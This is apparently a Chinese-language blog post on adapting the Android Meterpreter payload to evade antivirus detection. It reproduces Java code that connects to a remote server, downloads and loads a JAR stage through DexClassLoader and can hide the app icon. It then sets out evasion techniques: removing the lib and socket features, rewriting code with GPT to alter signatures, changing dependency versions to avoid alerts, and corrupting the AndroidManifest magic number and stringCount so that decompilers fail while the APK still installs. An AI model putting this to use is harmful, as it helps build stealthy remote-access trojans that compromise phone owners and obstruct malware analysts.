Untitled
想要在本地运行,配置文件需要写到 configBytes 列表里面,因为这个配置列表我不知道是怎么生成的,看注释里面好像是 metasploit-framework/lib/rex/payloads/meterpreter/config.rb 文件 所以这部分直接跳过加密解密配置部分,稍微魔改一下
这里会走入 if 分支,所以我们在这里魔改
硬编码的exploit配置
private static final byte [] configBytes = new byte[] { (byte) 0xde, (byte) 0xad, (byte) 0xba, (byte) 0xad, //placeholder /*8192 bytes */ 0, 0, 0, 0, 0,...
};
...
Config config = ConfigParser.parseConfig(configBytes);
-
确保手机的CPU保持运转
PowerManager powerManager = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
// PARTIAL_WAKE_LOCK使得CPU在屏幕和键盘不工作的情况下仍保持运转
wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, Payload.class.getSimpleName()); wakeLock.acquire(); -
按需隐藏应用图标
if ((config.flags & Config.FLAG_HIDE_APP_ICON) != 0) { hideAppIcon();
} -
打开一个与远程服务器连接的socket
/*
private static void runStageFromHTTP(String url) throws Exception {
// 参数url是从恶意应用的硬编码配置中读取的
}
*/
private static void runStagefromTCP(String url) throws Exception {
// string is in the format: tcp://host:port
String[] parts = url.split(":");
int port = Integer.parseInt(parts[2]);
String host = parts[1].split("/")[2];
Socket sock = null;
if (host.equals("")) {
ServerSocket server = new ServerSocket(port);
sock = server.accept();
server.close();
} else {
sock = new Socket(host, port);
}
if (sock != null) {
DataInputStream in = new DataInputStream(sock.getInputStream());
OutputStream out = new DataOutputStream(sock.getOutputStream());
runNextStage(in, out, parameters);
}
}
连接建立后,远程服务器通过向恶意应用发送一个Jar文件来实现命令执行,不同的命令对应Jar中特定的类。Payload
接收Jar文件(stageBytes
),并调用指定类的start()
方法:
private static void runNextStage(DataInputStream in, OutputStream out, Object[] parameters) throws Exception {
if (stageless_class != null) {
Class<?> existingClass = Payload.class.getClassLoader().
loadClass(stageless_class);
existingClass.getConstructor(new Class[]{
DataInputStream.class, OutputStream.class, Object[].class, boolean.class
}).newInstance(in, out, parameters, false);
} else {
String path = (String) parameters[0];
String filePath = path + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
String jarPath = filePath + ".jar";
String dexPath = filePath + ".dex";
// Read the class name
String classFile = new String(loadBytes(in));
// Read the stage
byte[] stageBytes = loadBytes(in);
File file = new File(jarPath);
if (!file.exists()) {
file.createNewFile();
}
FileOutputStream fop = new FileOutputStream(file);
fop.write(stageBytes);
fop.flush();
fop.close();
// Load the stage
DexClassLoader classLoader = new DexClassLoader(jarPath, path, path,
Payload.class.getClassLoader());
Class<?> myClass = classLoader.loadClass(classFile);
final Object stage = myClass.newInstance();
file.delete();
new File(dexPath).delete();
myClass.getMethod("start",
new Class[]{DataInputStream.class, OutputStream.class, Object[].class})
.invoke(stage, in, out, parameters);
}
session_expiry = -1;
}
恶意代码触发方式
对应攻击步骤中的第5步。事实上,除了修改入口点代码,还有其它可选方式。在第二节给出的三个样本中,第一个忘记触发了,后两个都重写(override)了androidx.multidex
包下的MultiDexApplication
类,并将Meterpreter代码中MainService
的start()
方法放在里面(此处Meterpreter中类名经过混淆,MainService
即Xmevv
):
Android 5.0(API 级别 21)及更高版本使用名为 ART 的运行时,它本身支持从 APK 文件加载多个 DEX 文件。因此,如果
minSdkVersion
为 21 或更高版本,系统会默认启用 MultiDex,并且不需要 MultiDex 库。
源码混淆
源码混淆主要从两个方面进行,主工程代码和lib库混淆 关于特征是在主工程还是lib库,我们可以在不引入lib库的情况下进行测试,而且lib库里面的代码实际上我们只有需要解析config和使用http通道的时候才会用到,当我们选择SOCKET的时候,是用不到lib库的(更加理所当然的去除掉它们
数据通信
先把socket通信去掉
启动和运行方式修改
这个部分其实比较抽象 抛砖引玉吧,如果你想让自己的字迹不被别人看出来,最好的方法是用你的左手写 代码也是同理,刚好GPT写代码很死板,这个任务丢给它刚好
杀毒软件还检查 buildToolsVersion 和 minSdkVersion吗 查了一下原因如下
- 兼容性问题:minSdkVersion指定了APK所需的最低Android系统版本。恶意软件通常会选择较低的minSdkVersion,以便在更多设备上运行。杀毒软件会检查minSdkVersion,如果它较低且与APK的其他特征相匹配,就可能被认为是木马。
- 安全漏洞:较旧的Android版本可能存在已知的安全漏洞或弱点,黑客和恶意开发者可能会利用这些漏洞来进行攻击。因此,一些杀毒软件会关注minSdkVersion,以便识别并阻止可能利用这些漏洞的恶意软件。
- 平台限制:某些安卓功能、API或权限只适用于特定的Android版本或更高版本。恶意软件可能会试图突破这些限制来执行危险操作。通过分析minSdkVersion,杀毒软件可以判断APK是否使用了不适当或不合理的安卓功能,从而将其标记为潜在的木马。
这个告警经过排查修改布局库版本可以避免
修改为
implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
AndroidManifest 幻数
如果你跟我一样做过逆向,你会发现偶尔我们使用apktool 去逆向APK的时候会出错,因为AndroidManifest.xml文件里面某些字节出错了(导致apktool出错的可能很多,也可以是在Android代码里面留陷阱),总而言之,就是解析XML不成功,这样的情况下还想看到里面的权限列表当然是不可能的(但是APK是能正常运行的),我们利用这个特性给AV一点小小的震撼
链安上面有一篇这个文章 https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail,但是是从修复角度来看待的问题,我们需要的是
- Android能够成功安装运行
- 逆向软件不能解析AndroidManifest.xml
具体需要修改哪一位能阻碍逆向? 本来我是想通过fuzz的方式来找到单位幻数,查资料的时候发现看雪上有师傅研究过 https://bbs.kanxue.com/thread-272045.htm
AndroidManifest文件的幻数(Magic Number),即文件头为0x00080003。将其修改后,反编译工具就无法识别AndroidManifest文件,导致反编译失败
重新打包为APK
stringPoolSize陷阱
修改字符串个数 stringCount 字段,导致跟实际对应不上,也会造成AndroidManifest.xml解析出现问题 实际上这里是68,我们将stringCount 设置为69
ps://xzfile.aliyuncs.com/media/upload/picture/20231009103935-154877aa-664d-1.png)
然后重新保存签名,这个时候最新的apktool也识别不了了